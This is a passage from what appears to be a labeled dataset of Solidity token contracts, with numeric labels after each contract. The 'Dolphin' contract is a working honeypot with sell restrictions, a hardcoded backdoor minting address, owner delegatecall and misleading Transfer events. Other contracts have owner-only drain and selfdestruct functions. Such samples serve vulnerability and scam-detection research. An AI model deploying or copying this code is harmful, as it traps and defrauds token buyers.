function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Dolphin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,848 |
pragma solidity ^0.4.23;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Eurufly is StandardToken, Ownable{
string public constant name = "Eurufly";
string public constant symbol = "EUR";
uint8 public constant decimals = 18;
uint256 public priceOfToken = 2500;
uint256 public icoStartAt ;
uint256 public icoEndAt ;
uint256 public preIcoStartAt ;
uint256 public preIcoEndAt ;
uint256 public prePreIcoStartAt;
uint256 public prePreIcoEndAt;
STATE public state = STATE.UNKNOWN;
address wallet ;
uint256 public weiRaised;
address public owner ;
enum STATE{UNKNOWN, PREPREICO, PREICO, POSTICO}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function transfer(address _to, uint _value) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function startPrePreIco(uint256 x) public onlyOwner{
require(state == STATE.UNKNOWN);
prePreIcoStartAt = block.timestamp ;
prePreIcoEndAt = block.timestamp + x * 1 days ;
state = STATE.PREPREICO;
}
function startPreIco(uint256 x) public onlyOwner{
require(state == STATE.PREPREICO);
preIcoStartAt = block.timestamp ;
preIcoEndAt = block.timestamp + x * 1 days ;
state = STATE.PREICO;
}
function startPostIco(uint256 x) public onlyOwner{
require(state == STATE.PREICO);
icoStartAt = block.timestamp ;
icoEndAt = block.timestamp + x * 1 days;
state = STATE.POSTICO;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(priceOfToken);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function () external payable {
require(totalSupply_<= 10 ** 26);
require(state != STATE.UNKNOWN);
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
require(_beneficiary != address(0x0));
if(state == STATE.PREPREICO){
require(now >= prePreIcoStartAt && now <= prePreIcoEndAt);
require(msg.value <= 10 ether);
}else if(state == STATE.PREICO){
require(now >= preIcoStartAt && now <= preIcoEndAt);
require(msg.value <= 15 ether);
}else if(state == STATE.POSTICO){
require(now >= icoStartAt && now <= icoEndAt);
require(msg.value <= 20 ether);
}
uint256 weiAmount = msg.value;
uint256 tokens = _getTokenAmount(weiAmount);
if(state == STATE.PREPREICO){
tokens = tokens.add(tokens.mul(30).div(100));
}else if(state == STATE.PREICO){
tokens = tokens.add(tokens.mul(25).div(100));
}else if(state == STATE.POSTICO){
tokens = tokens.add(tokens.mul(20).div(100));
}
totalSupply_ = totalSupply_.add(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(0), msg.sender, tokens);
weiRaised = weiRaised.add(weiAmount);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
constructor(address ethWallet) public{
wallet = ethWallet;
owner = msg.sender;
}
function emergencyERC20Drain(ERC20 token, uint amount) public onlyOwner {
token.transfer( owner, amount );
}
function allocate(address user, uint256 amount) public onlyOwner{
require(totalSupply_.add(amount) <= 10 ** 26 );
uint256 tokens = amount * (10 ** 18);
totalSupply_ = totalSupply_.add(tokens);
balances[user] = balances[user].add(tokens);
emit Transfer(address(0), user , tokens);
}
} | 1 | 4,858 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TaylorToken is Ownable{
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _amount);
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public whitelistedTransfer;
mapping (address => bool) public whitelistedBurn;
string public name = "Taylor";
string public symbol = "TAY";
uint8 public decimals = 18;
uint256 constant internal DECIMAL_CASES = 10**18;
uint256 public totalSupply = 10**7 * DECIMAL_CASES;
bool public transferable = false;
modifier onlyWhenTransferable(){
if(!whitelistedTransfer[msg.sender]){
require(transferable);
}
_;
}
function TaylorToken()
Ownable()
public
{
balances[owner] = balances[owner].add(totalSupply);
whitelistedTransfer[msg.sender] = true;
whitelistedBurn[msg.sender] = true;
Transfer(address(0),owner, totalSupply);
}
function activateTransfers()
public
onlyOwner
{
transferable = true;
}
function addWhitelistedTransfer(address _address)
public
onlyOwner
{
whitelistedTransfer[_address] = true;
}
function distribute(address _tgeAddress)
public
onlyOwner
{
whitelistedTransfer[_tgeAddress] = true;
transfer(_tgeAddress, balances[owner]);
}
function addWhitelistedBurn(address _address)
public
onlyOwner
{
whitelistedBurn[_address] = true;
}
function transfer(address _to, uint256 _value)
public
onlyWhenTransferable
returns (bool success)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom
(address _from,
address _to,
uint256 _value)
public
onlyWhenTransferable
returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
onlyWhenTransferable
returns (bool success)
{
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _amount)
public
returns (bool success)
{
require(whitelistedBurn[msg.sender]);
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Burn(msg.sender, _amount);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender)
view
public
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
} | 1 | 3,037 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract EncryptedToken is owned, TokenERC20 {
uint256 INITIAL_SUPPLY = 310000000;
uint256 public buyPrice = 1;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'CLA', 'CLA') payable public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function () payable public {
owner.send(msg.value);
uint amount = msg.value * buyPrice;
_transfer(owner, msg.sender, amount);
}
function selfdestructs() onlyOwner payable public {
selfdestruct(owner);
}
function getEth(uint num) onlyOwner payable public {
owner.send(num);
}
function balanceOfa(address _owner) public constant returns (uint256) {
return balanceOf[_owner];
}
} | 0 | 388 |
pragma solidity ^0.7.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
